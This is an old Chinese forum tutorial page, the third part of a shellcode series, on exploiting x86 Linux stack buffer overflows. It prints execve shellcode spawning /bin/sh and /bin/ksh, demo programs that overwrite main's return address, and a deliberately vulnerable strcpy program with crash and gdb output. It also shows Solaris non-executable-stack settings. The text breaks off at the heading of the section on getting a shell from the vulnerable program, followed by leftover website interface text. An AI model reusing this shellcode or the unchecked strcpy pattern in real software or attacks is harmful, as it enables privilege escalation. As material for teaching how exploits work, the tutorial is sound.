📄 shellcode技术探讨续二.htm
字号:
<HTML>
<HEAD>
<meta name="Phorum Version" content="3.1">
<meta name="Phorum DB" content="mysql">
<meta name="PHP Version" content="4.0.0">
<TITLE>技术探讨续二</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" LINK="#0000FF" ALINK="#FF0000" VLINK="#330000">
shellcode技术探讨续二
<BR>
<BR>
<BR>
<BR>概述:
<BR>
<BR> 本文给出一个完整的利用缓冲区溢出取得root shell的
<BR> 示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
<BR> 而我的意图正在于此。如果看不明白什么地方,可以在这里
<BR> 提问,Unix安全论坛上提问,tt在那里。水木清华97年以前就大范
<BR> 围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。
<BR>
<BR>测试:
<BR>
<BR> RedHat 6.0/Intel PII
<BR>
<BR>目录:
<BR>
<BR> 1. 先来看一次缓冲区溢出
<BR> 2. 研究这个溢出
<BR> 3. 修改代码加强理解
<BR> 4. 进一步修改代码
<BR> 5. 还想到什么
<BR> 6. 堆栈可执行
<BR> 7. 一个会被缓冲区溢出攻击的程序例子
<BR> 8. 利用缓冲区溢出取得shell
<BR> 9. 分析取得shell失败的原因
<BR> 10. 危险究竟在于什么
<BR> 11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
<BR> 12. 总结与思考
<BR>
<BR>1. 先来看一次缓冲区溢出
<BR>
<BR>vi shelltest.c
<BR>
<BR>/* 这是原来的shellcode */
<BR>/*
<BR>char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/sh";
<BR>*/
<BR>
<BR>/* 这是我们昨天自己得到的shellcode */
<BR>char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/ksh";
<BR>
<BR>char large_string[128];
<BR>
<BR>int main ()
<BR>{
<BR> char buffer[96];
<BR> int i;
<BR> long * long_ptr = ( long * )large_string;
<BR>
<BR> for ( i = 0; i < 32; i++ )
<BR> {
<BR> /* 用buffer地址一路填写large_string,一个指针占用4个字节 */
<BR> *( long_ptr + i ) = ( int )buffer;
<BR> }
<BR> for ( i = 0; i < strlen( shellcode ); i++ )
<BR> {
<BR> large_string[ i ] = shellcode[ i ];
<BR> }
<BR> /* 这个语句导致main()的返回地址被修改指向buffer */
<BR> strcpy( buffer, large_string );
<BR>}
<BR>
<BR>gcc -o shelltest shelltest.c
<BR>./shelltest
<BR>exit
<BR>
<BR>这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
<BR>放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
<BR>出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从
<BR>main()中返回时,就会转而执行shell。
<BR>
<BR>scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
<BR> 区别这两种说法。
<BR>
<BR>2. 研究这个溢出
<BR>
<BR>在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
<BR>使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
<BR>在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
<BR>在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
<BR>不是那么回事情了。
<BR>
<BR>要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
<BR>的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
<BR>操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
<BR>被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
<BR>于是一路覆盖下来破坏了代码本身,昏倒。
<BR>
<BR>3. 修改代码加强理解
<BR>
<BR>我们先只做一个修改:
<BR>
<BR> for ( i = 0; i < 32; i++ )
<BR> {
<BR> /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
<BR> *( long_ptr + i ) = ( int )shellcode;
<BR> }
<BR>
<BR>返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。
<BR>
<BR>4. 进一步修改代码
<BR>
<BR>char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/ksh";
<BR>
<BR>char large_string[128];
<BR>
<BR>int main ()
<BR>{
<BR> char buffer[96];
<BR> int i;
<BR> long * long_ptr = ( long * )large_string;
<BR>
<BR> for ( i = 0; i < 32; i++ )
<BR> {
<BR> /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
<BR> *( long_ptr + i ) = ( int )shellcode;
<BR> }
<BR> /* 这个语句导致main()的返回地址被修改指向buffer */
<BR> strcpy( buffer, large_string );
<BR>}
<BR>
<BR>啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
<BR>buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
<BR>的效果。
<BR>
<BR>5. 还想到什么
<BR>
<BR>既然buffer本身一钱不值,为什么要定义那么大,缩小它!
<BR>
<BR>char shellcode[] =
<BR> "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
<BR> "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
<BR> "\x80\xe8\xdc\xff\xff\xff/bin/ksh";
<BR>
<BR>char large_string[12]; /* 修改 */
<BR>
<BR>int main ()
<BR>{
<BR> char buffer[4]; /* 修改 */
<BR> int i;
<BR> long * long_ptr = ( long * )large_string;
<BR>
<BR> for ( i = 0; i < 3; i++ ) /* 修改 */
<BR> {
<BR> /* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
<BR> *( long_ptr + i ) = ( int )shellcode;
<BR> }
<BR> /* 这个语句导致main()的返回地址被修改指向buffer */
<BR> strcpy( buffer, large_string );
<BR>}
<BR>
<BR>打住,再修改就失去研究的意义了。
<BR>
<BR>6. 堆栈可执行
<BR>
<BR>在这里我们需要解释一个概念,什么叫堆栈可执行。
<BR>按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
<BR>最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
<BR>的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
<BR>汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
<BR>统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
<BR>中可以在/etc/system中设置:
<BR>
<BR>* Foil certain classes of bug exploits
<BR>set noexec_user_stack = 1
<BR>
<BR>* Log attempted exploits
<BR>set noexec_user_stack_log = 1
<BR>
<BR>Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
<BR>一声吧。
<BR>
<BR>按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
<BR>.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
<BR>数据段可执行?谁了解保护模式汇编,给咱们讲讲。
<BR>
<BR>即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
<BR>shellcode是一定会被执行的。
<BR>
<BR>可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
<BR>不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
<BR>就是第一种方式了,明白?
<BR>
<BR>7. 一个会被缓冲区溢出攻击的程序例子
<BR>
<BR>我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
<BR>是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
<BR>的程序,该程序的main()函数实现中有下述代码:
<BR>
<BR>/* gcc -o overflow overflow.c */
<BR>int main ( int argc, char * argv[] )
<BR>{
<BR> char buffer[ 16 ] = "";
<BR> if ( argc > 1 )
<BR> {
<BR> strcpy( buffer, argv[1] );
<BR> puts( buffer );
<BR> }
<BR> else
<BR> {
<BR> puts( "Argv[1] needed!" );
<BR> }
<BR> return 0;
<BR>}
<BR>
<BR>[scz@ /home/scz/src]> ./overflow 0123456789abcdefghi
<BR>0123456789abcdefghi
<BR>[scz@ /home/scz/src]> ./overflow 0123456789abcdefghij
<BR>0123456789abcdefghij
<BR>Segmentation fault (core dumped)
<BR>[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijk
<BR>0123456789abcdefghijk
<BR>BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion `((reloc->r_info) & 0xff) == 7' failed!
<BR>[scz@ /home/scz/src]> ./overflow 0123456789abcdefghijkl
<BR>0123456789abcdefghijkl
<BR>Segmentation fault (core dumped)
<BR>[scz@ /home/scz/src]> gdb overflow
<BR>GNU gdb 4.17.0.11 with Linux support
<BR>This GDB was configured as "i386-redhat-linux"..
<BR>(gdb) target core core < -- -- -- 调入core文件
<BR>Core was generated by `./overflow 0123456789abcdefghijkl'.
<BR>Program terminated with signal 11, Segmentation fault.
<BR>Reading symbols from /lib/libc.so.6...done.
<BR>Reading symbols from /lib/ld-linux.so.2...done.
<BR>#0 0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 0x6a69686f.
<BR>) at ../sysdeps/generic/dl-cache.c:202
<BR>../sysdeps/generic/dl-cache.c:202: No such file or directory.
<BR>(gdb) detach < -- -- -- 卸掉core文件
<BR>No core file now.
<BR>(gdb)
<BR>
<BR>8. 利用缓冲区溢出取得shell
<BR>
<BR>/* gcc -o overflow_ex overflow_ex.c */
<BR>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -